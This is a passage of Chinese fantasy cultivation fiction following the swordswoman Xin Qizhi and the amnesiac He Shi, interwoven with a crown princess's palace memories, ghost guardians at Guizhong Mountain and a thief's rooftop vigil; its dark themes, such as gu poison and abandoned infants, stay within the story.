闻椹落在衣袖中的手指蜷缩了下,轻轻地笑了下:“不必了,守镜人的生活本就枯燥而无味,他还是早日习惯为好。”
“你……可是怪我?”
“闻椹不敢。”
长长的一声叹息过后,这方天衍境内再不见那个在棋盘面前目光炯炯的怪老头了。
虚无正想离去,缕缕黑烟突从地面扎根而起,那原本就萎靡不振的灵草们更是焉巴下了脑袋。
“出来!”虚无厉喝一声。
“啧啧,心情不好就拿故人撒气呐,凡道的作风真是一向让人不敢恭维。”
黑烟攀上了大树,看到那幕,虚无手掌一翻,就要将天道之力打到妄言体内。
妄言再不敢耽搁,虽说虚无的力道已然薄弱良多,但他实在不喜他人的力量逼近自己身旁,摇身一变出人形躺到树上,盯着虚无已成雾气的身体开口:
“你可得抓紧在你消散前把那小丫头的天道之力逼出来,你要是下不了手,那就我来。”
虚无冷笑一声,反击道:“妄言,天道赐给你的这个名字还真是让你人如其名,不请自来也就罢了,如今还在说什么狂妄的大话。”
妄言翻身下树,转眼间又变为黑烟形态躲到虚无的白雾身后,哼笑道:“等那小丫头到了鬼界,你最好是能看着我把她的天道之力给收回了,我们鬼界可不兴你们凡人界传承那套,定是叫她有来无回。”
说罢,黑烟又陷入地下。
虚无皱眉感受着妄言的气息在天衍境内消散,想到他最后的话语到底是心里有些惴惴不安,点出一道灵力送出天衍境外,叫它去找大宋的国师,让她联系灵界的双生树的守树人,说自己他日来访。
做完这一切,她体内的力量又消散了一点,如今还能堪堪维持着身形,不过是因为在她身上还剩着残余的天道之力。
她当年以杀入道,如今世道大乱,新生天道断不可再为【杀】道,否则待天道交接之时,力量便越发不受自己控制,天地间乱世已成,乱象频出。
依她设想,若能为【守】便再好不过,想到这,虚无又是一阵仿徨。
祂们将太多期望放在了那个人的身上,却又让她像一张白纸一样任由过路人涂抹色彩——也不知是福是祸了。
12. 反噬其主
已是黄昏时分,暮色暗沉,院外寂寥无人,唯靠近台阶处的地面沾染上了干涸的血色,风声未歇,夹杂在耳旁呼啸而过的兵器相撞声促使着何施推开了面前的那道门。
年久未修的木门贴合着手掌发出尖锐的怪叫,门内众人几乎全部停滞一瞬,只时守动作不曾为来客停留,趁敌手不察从身侧的砖洞内抄起一条鞭子将对面二人打落在地。
第二个反应过来的是辛弃掷,只见她匆匆向声源处瞥去一眼,眉头一挑,手腕一翻,剑柄在手中直直一跳,其余正在酣战中分神的三人竟硬生生被其剑气逼退!
刚踏入门内的何施看着这幕默然不语,折过身将木门合上,在地上团圆的苗疆弟子还顾不上她那头,见势不妙纷纷将苗头对准了辛弃掷——
“辛家子弟,枉你们自诩名门正派,何时也来插手小门小派斗争之事了?”
话音刚落,平冤愤愤不平地在空中抖动着发出剑鸣,辛弃掷反倒不怒反笑:“此言怕是差矣,我记得从我练剑初始就放话出来过,待养恩还清,我与辛家再无瓜葛。”
语毕,她握住平冤,将剑立在挑起纷争的苗疆弟子颈间:“再说,我的剑,随心而出,随性而动,又有何妨?”
风声凌厉,蓬勃的树荫下一人立于阴影间,眉目间平和通透得似不起一丝波澜的湖面。
与之相对衣着繁杂的女子跪坐在她面前,落叶飘飘然被裹挟到二人之间,不慎被不容挑衅的剑风所慑,身体自根部经络处被分割成两半,生命归宿的尽头却在风声的轨迹中被指派粘连上真凶的腰带。
那人被衣裳上的小插曲打搅到,并不恼,目光轻飘飘地撩过那几点绿色而又回落,末了,她似是想起什么,兴味探究的眼神打转于面前女子的脖颈间一闪而过。
于是不幸落难的绿叶残骸被夹到指缝之间,揉搓间锋利的边缘划过指腹,血液辗转于黏稠的空气蜗居到叶片上面,似谁的盛宴——一只身子两侧鼓起中间凹陷的青葱色小虫慢吞吞地挪动着身躯。
被香甜气息引诱而来的恶徒终究被眼疾手快的侠士掌握住命脉。
“先前听闻苗疆蛊毒,今终以得以一见,实乃幸事,”
辛弃掷把玩着蜗居在她手心中睁大着眼睛看着她的小虫,那小虫摇头晃脑地依恋般蹭了蹭她手心,见她嘴角泄出一丝笑意,当机立断低下头去想咬上她的皮肉。
见到这幕,辛弃掷指尖一点,青虫的身子不受控地弓成一把箭矢的样子,辛弃掷将那片绿叶塞进它嘴里,躺在叶片上的精血颤颤巍巍地滑进青虫的食道。
“还真是笨啊。”
“也不知苯到这种程度会不会影响疗效。”
“罢了,好歹尝过我的血,还是得带给师姐。”
说罢,她拎起因精血在身躯内翻滚而昏厥的青虫,递到怒视着她的女子跟前。
“虽说把气憋在体内会损害身体,”辛弃掷俯下身子,迎上她仇视的目光:“但在我看来,你还没有愤怒的资格。”
《蛊毒录》有言,色若青霭如烟者,初入门。
那只被她拿来当作要挟的小虫身上定然已沾染上淡淡血色,才使得原本雾气般朦胧的青加深为葱青。
若不是怕误了师姐的计划,她真当想好好逼问一番面前这群驭毒之人:
有朝一日,当她们驭的毒反噬其主时,该当如何?
……
翌日,天光大明,何施起身出门时,辛弃掷已坐在在院内,大刀阔斧地在用一些不知名草药磨剑。
绿色的汁液在阳光的笼罩下从剑身上低落,地面上的深色已蔓延到旁边被绑到树干上的女子。
“醒了?”辛弃掷听到走近的脚步声抬头看了一眼,注意到何施的视线不满地“哈”了声。
“本来想绑了她的手游街示众的,”她望向树干上还昏迷着的女子:“被你师尊劝下了,没办法,毕竟是师长嘛。”
她不无讥讽意味地笑了下,见何施看向她才压下眉头,低下头停下了擦拭的手:“抱歉,他是你师尊,不该在你面前说这些话的。”
何施摇了摇头,表示无事:“只是师父而已。”
听到这番回话,辛弃掷才掀起正眼直视她:“讲究尊师尊道的人不知凡几,你倒是不同。”
“我昨夜与你师尊聊了聊,今早传信给我师姐,说我要先上归终山那头走上一趟,你师尊另外两个弟子有个得去药王谷了,还有个说若是你同我一齐去归终山,那么她也来。”
“这样的话,苗疆的人就先放在这儿,你呢,要同我一道吗?”
未等何施回话,浸润在药浴和光照之下的平冤因主人对其的忽视发出不满的嗡嗡声。
未等何施回话,浸润在药浴和光照之下的平冤因主人对其的忽视发出不满的嗡嗡声。
辛弃掷安抚般摸了摸它突出的剑脊,轻笑,继续之前的活计:“脾性这么大,也不知是随了谁。”
胸腔内的心脏不住地跳动,跃动的频率几乎要让何施怀疑这具身体本身是否有胸痹,她平复下躁动的心情,向辛弃掷言明自己大抵要歇息片刻。
“无碍,平冤还有的玩呢,三刻之后,我们动身,”辛弃掷头也未抬,闲暇的右手指向高高挂起的金轮,又划到她的房门:“若是你在光照打到房门内之前改变了主意,就出来找我吧。”
何施“嗯”了一声,回房,关上房门背抵到门上的瞬间,之前在脑海里若隐若现的片断才又在眼前浮现。
“我也不爱跟她们玩,你呢,要同我一道吗?”
那是何时的事了……太清初见梁寄是在六九宴上,她端坐在父皇的右下方,左下侧是一排未出阁的官家小姐,正对着平日里无端对她说长道短的朝臣们。
彼时朝臣们争相向上方敬酒,父皇面色冷淡,看不出什么端倪,也不见他特意回了谁的酒,不过她见此局面,料想他是顾不上她,便自顾自地瞧着下头。
梁寄就是在那时入了她的眼的。
未出阁的官家小姐的交际,是个说来简单也简单,说来繁琐确也繁琐的场面活。
自身的好恶暂且不论
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,见着什么人,先把对方与己身的族亲关系算上一番看看有无姻亲,再牵出本家父兄,看看是要攀着对面的人呢还是被对面扒着不放,最后扯上外家,才终于落到讲究二者之间关系的地步。
一通弯子绕下来,不究心里如何想,颜面上总是得过得去几分。
是以,在梁寄之前,太清还未曾见过将摆冷桌坐出一番气定神闲架势的闺秀。
她招来身后侧的女官,下巴扬起,点了点梁寄的方位:“那是谁?”
女官眼一眯,瞄了一眼收回视线,给太清面前碗盘内已然散乱的菜肴重新规整过后才恭恭敬敬地回话:“是都督府的小娘子,外家官至提刑按察使司,本家是都督佥事。”
“听说打小身子就不大好,找批命的道士寻了个法子,先是寄名到碧空寺下,后又送到庄子上养了,一旬前刚接回来,打回府后就没怎么出过门,不过身子骨比起之前应当是好些了的。”
回完话,女官静待吩咐,却见太清沉下脸来,看着面前被挪动完后安安分分地呆在自己该有的地盘的菜肴低喝道:“孤未叫你布菜。”
“是臣下失职,”女官反应迅速,身姿从半弓转向跪坐于太清身后侧,“只是朝中近来对您的声讨之声愈演愈烈,臣下怕有人寻滋生事,故自作主张,还望太女责罚。”
太清叹了口气,抵住下压的眉头,规矩,规矩,这帮老迂腐平日里最爱念叨的就是不以规矩,不能成方圆。
她看他们迟早会被困死在被自己划分出的方圆之地。
“罢了,后不为例,孤去御花园走走,你去叫上都督府的小娘子,把她叫到孤跟前来,你就不用跟来了。”
“是。”
女官应下,不动声色地隐到侍女列,太清则见准时机向上告请退,未料秦帝大手一挥,放女眷们下宴。
于是众人下跪谢恩后齐齐离去,隔着三三两两的人群,太清瞥见向她望来的女官,摇摇头,脚步未改,仍是朝御花园方向去了。
宫宴办在景仁宫,太清绕到它后方,准备从左侧鲜有人知的小道踱步到御花园。
天色阴沉,以石子铺路的小道因两旁栽种的树木而愈发幽深寂寥,脚步声藏在树摇风过之后,只是再隐秘的话语也会在此间流窜。
“真不知梁家的是怎么想的,把人送到庄子上也不好好教导,要我说,好歹是官家小姐,怎能就这般不管不顾呢。”
“怕是当年批的命……罢了,讲这个作甚,人家也是有外家护着的。”
听到这番对话,太清停下了脚步,耳尖微动,落叶被碾过的声音传来,环顾四周,藏身于树木之后。
“我也不知燕郡竟还有传人闲话的风气。”
先前的女声二人一惊,循声望去,昂首阔步向她们走来,衣袖随着走动舞得龙腾虎跃的不正是口中议论的对象。
两人脸色不佳,拱手作辑后匆匆离去。
梁寄倒也不究,走到太清藏身之处向她伸出手。
“梁寄,梁苑隋堤的梁,倚南窗以寄傲的寄。”
13. 借命
归终山坐落于四面环山的地界,外人虽将其称之为“归终山”,实为一道峡谷,涓涓不壅的河流从中而出直逼后丘村。
这后丘村倒也奇怪,早有传闻此地溺女婴之风成瘾,直到附近的镇魂塔不知何故变为了归终山,此般风气才渐渐湮没。
距后丘山西南方向三十余里有一清风寨,有关后丘山的传闻大多自此而来,再往北数十里就是向阳城,辛弃掷要寻的摘星阁就在其间。
“为什么,要来这里?”
何施还是跟着辛弃掷一道走了,她身上有种让她摸不透却为之动容的气韵。
就像梁寄对太清来说一样,她想。
世上有众许人,渺渺众生间,大多不过擦肩而过,点头之交更是大抵只需相识,淡以亲的君子之交与甘以绝的小人之交在外人看来兴许并无不同。
“为何要在意呢,就像那些臣子,不管朝上还是私下总爱对殿下您说三道四,可不过是您女子的身份给了他们评头论足的底气,说到底,她们其实与那些臣子也并无不同吧。”
御花园内,太清应下梁寄的邀约,二人一道走到竹林内,太清便问起梁寄对先前谈论她的二人看法,未曾想到对方有此番见解。
她嘴角上弯,目光哀叹:“孤倒是羡慕你,能如此无所顾忌,可是身为天家人,拥有得愈多就会考虑得愈多,常言道‘水可载舟,亦可覆舟’——若皇权为舟,乘舟人执印,朝臣就想让自己成为那把不可或缺的船桨。”
梁寄低下头思索一番,回话道:“依臣女之拙“见,入朝为官者不外乎二类,一为沽名钓誉之徒,多见于言官,十有八九胆小怕事,偶有一二人胆大妄为;一为实官,有实权干实事,其性情各不相同,多为掌权欲旺盛之人。”
讲到这,她抬起头来,面朝太清粲然一笑:“殿下羡慕臣女自由自在,臣女又何尝不羡慕殿下实权在手呢。”
太清一怔,楞楞看向她,问:“……你要不要,来当孤的女官。”
一道惊雷炸起,雨滴拍打在瓦片上的声音有条不紊地紧随其后。
屋内众人纷纷拍打着胸脯庆幸早入了这楼内。
“大早上我明明瞅着日头公了,怎么一晃神的功夫就不见了呢。”
“嗨呀,别管你那太阳爷了,今个摘星阁人怎么这么多,我脚都要没处落地了。”
“这位兄台不知道?后丘村的宋道长说是这几日要来呢!”
“那也不管咱平民老百姓什么事,多的是贵人急着见她。”
“你这话说的,多看几眼也是好的,万一沾上丁点儿福气了不就成了个金蝈蝈了。”
辛弃掷没管那些杂言碎语,带着何施上了二楼,管事收到消息打拐角跟她碰上。
“哟,仙长,今儿这么巧,刚出门就叫我见着妙人了,怎么,今个还是来看那《蛊毒录》?”
辛弃掷笑着摇摇头:“要三套竹林三鲜。”
管事的笑敛了些许:“仙长莫不是在说笑,这竹林三鲜正逢时节,那用得着特意上摘星阁来寻呢。”
辛弃掷摆出一副惊诧模样,摆摆手:“外头的货色哪能跟摆阁里的相比,再说、”她搭上管事的肩,戏笑道:“这不是太久没见梅姨,心里实在想得慌,寻个由头来,您别见怪。”
梅姨吊着眼扫她一眼,先是随手拉来一人叫她去取货,而后打下搁在肩处的手掌:“就属你嘴贫,得了,《蛊毒录》怕是得给你留到地老天荒了。”
“您放心,再给我三月时间,我一定凑够钱。”
话音刚落,那去取货的小姑娘就端着三个大竹篮迎面而来,辛弃掷跨步上前接过,将一个递给后方的何施。
梅姨这才找着时机,凑上前去,拦下要走的二人,眼神落到何施身上,话头对准了辛弃掷:“还未见过这位小友,是哪座山头又迎了喜事,改日摘星阁也该去道贺一番。”
“无情宗。”
梅姨一楞,问:“谢小姐要回去重修无情道了?”
辛弃掷沉下脸来,梅姨见此便明了了,朝向何施开口,圆了这场面:
“唉,人老了就是眼睛不好使了,许久不见无情道的新人了,小友可要多多来摘星阁捧场,我做主给小友削价,也算作见面礼了。”
她们说的全是何施不了解的东西,因此,在梅姨开口后何施反倒看向辛弃掷。
辛弃掷挥挥手,叫她接过这份好意:“摘星阁的好处可是少有,我也是借了你的光得以一见。”
梅姨忙赔笑道:“仙长也是摘星阁的常客了,这样,今儿我开一回口,二楼的物件两位若是有看得上眼的,任挑一件走。”
话音刚落,辛弃掷悄声问何施可有想带走的东西,见她说没才推辞掉:“梅姨莫要破费了。”
她看向窗外雨过天晴的日出,推断出此刻应是未时:“我们要在夜半前赶去归终山,您有什么要带给岁序的就交给我。”
“……这样啊,”梅姨摸摸衣袖,从里头掏出支木钗:“小序在的话你叫她有时间来找我就行,货钱不结清我睡觉都不踏实,另外……你帮我把这个带给小鱼儿吧。”
她重重地叹了口气:“叫她莫要想了,这孩子,也是个命苦的啊。”
辛弃掷点头说是,照旧拍了拍梅姨的肩膀后带着何施走了。
刚跨过正门的门槛,就听身后传来迟疑的一声:“不用给钱吗?”
她脚下一滑,差点在大庭广众之下出了笑柄,揽过何施的臂弯,无奈问她:“你不爱出门?摘星阁买卖的钱款可任择一结价手段,日清最多,七曜之后次之,月结为末。”
何施点点头,又问:“我们要去的归终山又是什么地方?”
自打风满楼遇难后,她便对独自出门到完全不知晓的地方抱有一些警惕之心。
“归终山啊,那是一个,你进去了就会喜欢上的地方。”
……
酉时·太行崖
陡峭的崖壁上绿野横生,往下望是清澈见底的水面,波纹荡漾,涟漪阵阵。
何施拉着身前辛弃掷的手臂,有
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些怕她掉下去——她正探头往崖底瞧,也不知在看什么。
“我们……要怎么下去?”
辛弃掷回过头,握上她的手臂,胸有成竹地一笑:“这简单。”
说罢,她解下腰间躁动不已的平冤,随手一抛,剑身在光照下折出冷冽的光,以几乎垂直的角度插进了湖面上的巨石。
“你要不要把黯翎也扔下去?”
做完这一切后,辛弃掷顺势邀请何施跟随她的行动。
“这样,是不是,不太好?“何施有点迟疑。
此话一出,只见面前辛弃掷的表情有些怪异,她左眉眉头微微下压,右眉上扬,眼尾勾起,嘴角抿出一个似笑非笑的弧度:“它会喜欢这个活动的。”
毕竟,终归是邪剑啊。
还未等何施做出什么反应,幽幽女声自下方响起。
“我说,天还亮着,不让人睡觉——不合适吧?”
循声望去,一女子抱臂立于空中,眼下泛着点点青黑,身形虚幻,周身冒着微不可查的黑气,冷眼旁待地看着她们。
“今天是你值班啊,正好,接着。”语毕,辛弃掷就将置于地面的竹篮抛给苏禾。
意料之中,苏禾连身形都未挪动一寸,闭上眼睛,原本还处于虚实之间的身体变得透明,整个人缓缓消失在何施与辛弃掷眼前。
那被抛出的竹篮在空中划过一个完美的弧度后径直下落,惹来又一道饱含怒气的女声。
“谁!?”
此话一出,苏禾才又出现,整个人的面庞相比刚才显得光彩照人了不少,她眼神明亮,看好戏似地飘到辛弃掷身后,跟她咬耳朵:“这下你惨了,希望你出去的时候,可别落下什么东西。”
辛弃掷闻言倒也不恼,先是跟被砸到的涯霁喊出歉意,再跟苏禾讲明了来意:“我这次来,是为西域蛊毒的事。”
“干嘛,怀疑我们?”知道她们来意后,苏禾反倒回到了刚开始见到的状态,整个人有气无力地像要往下飘。
“……好好讲话。”
“哦,我没睡饱就这鬼样。”
辛弃掷无奈地摁了摁眉心:“你的腿还没养好吗?”
聊起这个,苏禾又是一通闹骚要发:“每次轮到我守门,老是有要借命的人来,我都没法好好睡觉了。”
“早知道,我就跟寒松一样,还是用“上身”来交易了。”
辛弃掷听她说起“借命”,眉头一皱,问道:“从西域蛊毒重现的消息传出后,要‘借命’的人是不是越来越多了?”
“是啊,不过不只是因为这个吧,”苏禾耸耸肩,眼神飘到默然盯着地面的何施:“飘到我们这儿的鬼婴也比以前多多了,男女都有,还都啃得只剩下骨头,怨气别提多大了。”
她叹了口气:“都游到这儿了,也不能扔去给鬼王吞了,我们怕姑奶奶疯病犯了,先堆到寒松的山洞了。”
“……哦,还有,你还没说这谁,”她转向辛弃掷,眼神依旧盯着何施:“谢今安新捡的小鬼?”
14. 鬼怪的世界——修仙如改命
“哎,你听你二娘家的说了没,那疯老婆子又捡娃回去了!”
太兴山脉,子母河边,一梳着妇人发髻,大力搓洗着木盆里衣裳的婶子拿手肘碰了碰身旁与她坐在一处、年龄相近的妇女。
被拉着扯闲话的妇女嘴角下撇,脸皮拉得像要落到身前的木盆里,“duang”的一声,木盆被她砸进了河里,溅起好大一圈水花。
“她倒是能耐,别人家不要的女娃眼巴巴地凑上去,到头来还不是要送到育婴堂去养。”
最先挑起话头的婶子也对这点百思不得其解:“石家的,你说你婆母她、”
她凑近石家妇的耳畔,嘀咕道:“该不会在装疯吧?”
石家妇冷哼一声,眼角一挑:“她敢!跟清风寨勾结到一块的事咱们都没找她算账,好吃好喝地供着她,她要是再闹出什么糊涂账来——”
手中的麻布因经受力道之大而被拧作一团,水渍将地面沾湿,石家妇垂下眸子,踩上那块泥地,本就脏污狼藉的鞋底渗进水来。
“就是我要为她求上一回情,我当家的都得不同意。”
“唉,都好久了吧,你说你家婆母这事儿闹的,好端端的怎么把清风寨的人拉到这里来了呢,人家是为朝廷卖命的,咱普通小老百姓怎么遭受的起哦……”
“行了,别说了。”
清风寨内,坐在主位上的男子眉头拧出好大一个倒八字,扶着心口处摆摆手,身旁的人见了,赶忙叫底下的人停下陈述。
“……那石家妇当真是这般说我妹子的?”
底下小弟看了看站在大哥身侧的二把手,见他点了点头才迟疑着回话:“……禀主上,却是如此。”
此话一出,大当家心口一紧,狠狠拍了下茶桌:“当真是欺我清风寨无人了!”
二当家叹了口气,倒了杯茶给大哥叫他缓缓,小妹什么都好,就是性情急躁,当年误以为他们清风寨是朝廷的走狗,跟大哥大吵一架后留下一封信便离家出走。
大哥也倔,怕办的事情牵连到小妹就此断了联络,若不是这次因为涉及到锁妖塔,把仙界人给请了过来……
热气从茶杯中徐徐而升,众人的神情在雾气背后都融化开来,扭曲残破的肢体撕开了模糊的纽带,万千承载了憎恶的妖魔吼叫着向众人扑来。
这是锁妖塔。
这里关着万千妖魂。
人们都说,千百年来,它一直在后丘村的身后,就那样看着他们。
现在,它们出来了。
为了“报恩”。
……
“呈宣该到何处了?”
贵妃榻上,薄纱轻轻盖在把玩着一颗灵珠的女子身上,因珠子的光泽照耀泛出密密的光。
侍女将炉中的香饼换下,恭敬回话:“小公子该是到了正脊山脉。”
回完话,侍女见自家主子仍专心致志地把玩着灵珠,思及老爷交代她的事项,开口:“娘娘,圣上既是已知祅物祸患,咱们又得了这等宝物,何不,”
她眼神瞄向那颗闪烁的灵珠,意味分明。
“——何不借花献佛?”
金栖棠款款地笑了一声,那笑仿佛是从她嗓子眼掐出来似的,尖锐、刻薄、听得让人心生恼火。
“巧春,你知道我与父亲最大的不同是什么吗?”
巧春揪着衣袖,不敢搭话:“奴是奴才,怎敢胡乱揣测主子们。”
金栖棠叹了口气,绵长悠久,就好像这口气憋在她体内很久很久,如今终于到了时候,得以窥见天日。
“在我看来,你与我父亲又有何不同呢?”
“你妄议身价菲薄,他修了仙便当自己已然是人中龙凤,殊不知天外天后还有仙中仙,修到最后,又剩下个什么呢,那怀秋白道长到头来不也是落得个一身白骨吗……”
“都说修仙如改命,可命,”
金栖棠随手抓起搁在桌上的香料,细微如尘土的颗粒从她手中促促而落,又跌回香盒中。
“命呐,就如流沙,是从来不在自己手中的,你要想握住它,就得从别人那儿……借来你的命啊。”
“一天天的,尽拿些续命和结婴的事儿来烦我,我睡不饱哪有心思管他们,这儿的鬼婴都快管不过来了。”
苏禾在前头不紧不慢地飘动着,带着辛弃掷和何施往寒松的山洞走。
也正因如此,何施这才发觉苏禾不是人。
缕缕黑气从苏禾膝盖以下的部位荡漾成一圈圈涟漪,被她们脚下散发着不详气味的河流所吸收得一干二净。
所幸的是,水源虽看起来与人体所流出的血液如出一辙,双腿踏入时却并未有黏稠的液体粘附上来,河底接连吐出温热的泡泡来迎接她们的到来。
何施在气流的撞击下感到身心舒畅,眉头舒展开来,稍落后于她的辛弃掷身形紧绷,挂在她腰间的平冤剑安静地插合进剑鞘,不动分毫。
“苏禾,鬼是不用睡觉的。”辛弃掷保持着先前的步伐,低头看着红彤彤的水流,不知道第几次提醒道。
苏禾停下飘忽不定的身影,回首,看向辛弃掷扎根于水面下的脚跟。
“你这次来,比上次走得更慢了些。”
苏禾随着水流的流动浮到辛弃掷面前,站定,手掌凝聚出实体覆在辛弃掷心口处,问:“你如今该是什么修为了?”
临了,不待对方答话,她便收回手去,“哦,到化神了。”
思索片刻,她踢了踢缠绕在辛弃掷脚裸处的藤蔓,那些原本在吸食血液的藤蔓乖乖听话松开。
苏禾看着大口吞吃着新鲜人血的子母河,叹气道:“怎么,你这些年也跟我一样在修身养性地长眠吗……”
“渡河的速度越来越慢,有朝一日等你身上的功德斗不过鬼气,七魂六魄便会溃散于世。”
辛弃掷抿住唇,搭上平冤的剑柄,心安些许,问:“那又如何?”
苏禾定定地看着她,笑出声:“左右我不会为你吊丧,不过谢今安怕是会哭花脸了,她怕是还有的活呢,”
“我可不想整天看着她愁眉苦脸,所以,你还是活着为好。”
“借你吉言。”辛弃掷不欲在这个
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问题上与苏禾争辩,苏禾虽平日里懒散惯了,嘴又不着调,可心肠到底好,要不然也不能在归终山日复一日地年长一年。
在她们二人身旁没有说话的何施脚步默默迟滞下来,待在一旁将她们谈话中的几个字眼给记下。
她已经看到了太清的大部分记忆,不再像以往那样对大部分事情持有疑虑。
可现在这个时代不是她脑海中太清的时代,因此,这个世界对何施来说还尚且陌生。
但这副躯体的记忆和来自风满楼的闷棍的确教会了她一些道理。
大多数人活在世上追求一点“道义”。
——反贼正中太清的道义,而后执掌了权力;彼岸为自认的真理献出了生命;梁寄将自己的道义架上了太清的靶心,在道不同不相为谋的结局中死于非命。
而她自己,若是那次在风满楼中没有佩瑜的插手……这些事情好像告诉了她一条消息,叫作掺和进别人的事情里,没有好结局。
只是她还是跟着辛弃掷来了归终山。
为了解开她心中的疑惑。
记忆中小时学过的《帝鉴》中说近朱者赤,近墨者黑,意思是靠近什么样的人,你就会成为与之相似的人。
太清由此招来梁寄到她的身旁。
她想,辛弃掷身上也有这种让她向往的力量,不同于镜妖的力量。
太清很少见到自己的生母,她是圣上第一个子嗣,下人们对她的吃穿住行侍奉皆是万般不可懈怠,文官也由她的出生看到了希望的曙光,上书请陛下将其抱养至良妃膝下。
良妃是后宫中位分最高的女子,暂领凤印,执掌六宫大权。
在太清幼时记忆之中,她是仅次于父皇的忙人。
她虽是父皇的长女,可在他决定将她立为太女前,二人每年几乎只会在特定时间的各色宴会上见上几面。
对太清来说,“父亲”这个词,可能就代表了皇权。
她不喜欢皇权。
不喜欢那些每时每刻围着她,望风希旨的婢女、太监、侍卫。
在她看来,那是种禁锢。
坐拥之物过多的人总是渴望更多,她的生母有时会悄悄来看她,贴在她经过的路边的墙根,带着钦慕而不敢接近的眼神。
有时她甚至会摸到良妃的宫殿前,太清有次偶然路过良妃的窗棂,听到母亲殿内的大宫女向她回禀:“殿下的本生母昨夜往殿前来了一遭,没进门。”
屋内靠近窗侧的玉壶春瓶里插着几支玉兰,太清贴近墙根,玉兰的香直直往她鼻端下进。
她听见母亲的答话。
“来便来了,下次你若瞧见,叫她进来,把人给殿下带去,总该要见见自己的本生母的。”
玉兰性温,有驱寒通窍,宣肺通鼻之效,可此刻,太清觉着这玉兰怕是摆的太多了些,不然那股香怎么不甘止步于她的鼻端,像是已然进到了她的肺里,好一通乱闹。
她几乎是立马就感到了疼痛,扶着窗台半弓下身子,无声唤疼。
……阿娘这两个字,究竟代表了什么呢?
15. 哪管日月不照我的天
淮河以南,淮阴
梅已经在这儿蹲守了半月有余,他的腿脚早就熟悉了麻痹感,对于一个盗贼来说,这不是一件好事。
但事出从急,他在宿迁听说辛家有修仙秘籍的消息后便马不停蹄地赶来了。
出于这消息是从一直和辛家不对付的聂家传出的信任和对同行先下手为强的担忧,梅还没来得及验明消息真伪,就在提心吊胆中爬上了辛家的瓦片。
虽说已成功摸上了人家的房顶,在大部分盗贼看来,走到这一步,几乎没有失手的可能了,但老实说,梅认为还远远没到能卸下心房的时候。
他摸进过为富不仁的乡绅别院,顺走过世家的物件,从没有如此一刻,心脏跳动得让他产生是否会有他人听见的疑虑。
他十有八九确信辛家的确有传说中可给人更换根骨的秘籍,因为辛弃掷,就是辛家的人。
从灵气复苏开始,辛家率先跨出脚步,从当地富绅一跃而为修仙世家,隐隐高了隔岸的聂家一头。
到了主家脉络为辛弃掷的一辈,事情急转而下,众目睽睽之下,她被测出毫无灵气资质。
次年,她自请离开辛家,没有人知道她去了哪里,只是她再回来的时候,已然成为了剑宗的挂名首席。
很多人都想从她身上挖出“逆天改命”的究竟,辛弃掷本人对此却闭口不言,大有一幅会将此法带入棺材本的架势。
想到这,梅嗤笑一声。
她缄口不言这点,倒是与以往那些人没什么两样。
梅从衣袖里掏出矢服,用来监听的竹管他早就放入屋内,这些矢服是他拿来避开同行的。
吹气,枕在头下,浩瀚星光打在房檐上,他的面上照不到分毫。
缄默,是盗贼生存的准则。
可在他看来,似乎所有人都早早学会了这点。
乞丐会缄默,因为他们生来就会看人脸色;
农户会缄默,因为官吏的威慑会叫人害怕;
好人会缄默,因为牢狱会教你遭受“贼开花”;
乡绅会缄默,唯恐穷人从他的话语中向上攀爬……
门阀会缄默,因为门本就有阀,要越过那道门,你得首先经过他们的首肯,而人隐在门后,不出声响。
微妙而辛辣的讥讽爬上梅的眼角,他今日来偷这本秘籍,只为在武林大会上公之于众,好叫这天下人都不再缄默!
澎湃激昂的心绪点燃了他的胸腔,闭上眼,麦穗沉重饱满得低垂下头颅的画面又浮现在眼前,一转眼,变成了丰厚的饭菜端上了官吏的案板。
再一转头,金银珠宝缀满了富绅的床幔,又一晃眼,奇才异宝乘上了世家的马车。
天下天下,究竟是谁的天下?
天子天子,天若有子,怎叫他不与天同寿!
与天……同寿……他望向天空,繁星在圆月旁渺小如穗,人们记不住星光,只知道要在满月团圆。
思绪被拉远,很久以前,就在这样的一天傍晚……
辛弃掷叛逃了。
说是叛逃,辛家对外放出的消息当然不会是这样,“待定家主叛逃”的事件如若传出,无异会让人对辛家声誉议论纷纷。
长老团围在一起想出了个法子,说辛家小辈自请远行游历,暂不论外人如何道,至少面上是保住了份儿。
至于叛逃事件的主人公,正在开始她的第一次夜奔。
点点星光下,躺在泥地里的树枝发出喀嚓一声响,辛弃掷靠在山坡上休息,身躯因为长时间的赶路而起伏不定,但她觉得自己终于平静了下来。
对于这次“出逃”,她已经想了够久。
十五日前,在送行会上,她被宣判与修仙之路无缘,那个瞬间,一直根植在她脊髓内的那条弦绷紧、发出让人心烦意乱的嗡嗡声,眩晕感几乎要让她瘫倒在地。
在天昏地暗中,她张了张嘴,不知道该说些什么。
眨眨眼,议事会的代表长老们无言地看着她,目光悲切而沉痛,再远处,她的同辈和小辈们背着手驻足在长老们身后。
疑虑、忧愁、强忍的野心。
一张张长相不同的面孔在她看来并无不同。
她突然叹了口气,闭上眼握紧了手。
……要走吗?
她是辛弃掷,辛家的待任家主,与修仙之路绝缘的下一任家主。
哪怕谁都没有出声,她已经在辛家浸泡了够久,她知道他们在想些什么。
不是苦恼费在她身上的奇珍异宝,不是担忧她今后的路该如何去蹚,这些对于辛家来说,都不重要。
时间,辛弃掷垂下眸子,只有时间,是回不来的。
……离开吧。
天下之大,难道没有她的容身之所?
靠在山坡上,夜幕下繁星闪烁,辛弃掷伸出手,手掌摊开,收拢,仿佛这样就能把繁星笼进手中。
现在……她该去做什么呢?
她不知道。
从她出生起,她就作为“辛家的家主”而活。
如果没有了这层身份,她还剩下什么?
压抑过头早已判断不出的喜恶,一切以家族利益为准的行动准则。
辛弃掷深吸一口气,眼睛被遮挡在手臂之后,那口气被她缓缓地,深怕惊扰到什么人或东西一样、无声地吐了出来。
且行且看吧。
——她就是这样走着走着,因衣料配饰讲究,被当作游历的道士,拉到了后丘村。
“道长……”身旁的婶子拉紧了她的衣袖,下一秒又深怕她不快似的松开,只是身子尽量贴近了辛弃掷,以一种要预告什么不吉利的事件姿态凑到她脖颈处。
“我早就说过了,那钱家的就是作孽哦,好端端的娃儿生下来扔河里头去,”
她尽力使自己与辛弃掷之间空气的缝隙留有余地而步步紧随。
她们走过那条河,河水早因人们对它的竭尽压榨而脸色暗沉。
那个拉住辛弃掷的婶子别过头,看了一眼河流,就那一眼,便像是使她联想到什么不快的事情似的:
两条稀疏不齐的眉毛聚拢成一线,下边小而咕噜打转的眼睛反倒显得有神,底下不甘示弱的嘴巴也在彰显自己的神气。
“要我说啊,这女人,样貌学识都是虚的,只有身板——”
她抬头挺胸,矮了辛弃掷一头的身量显出点不常有的神采。
“——才最实在呢!道
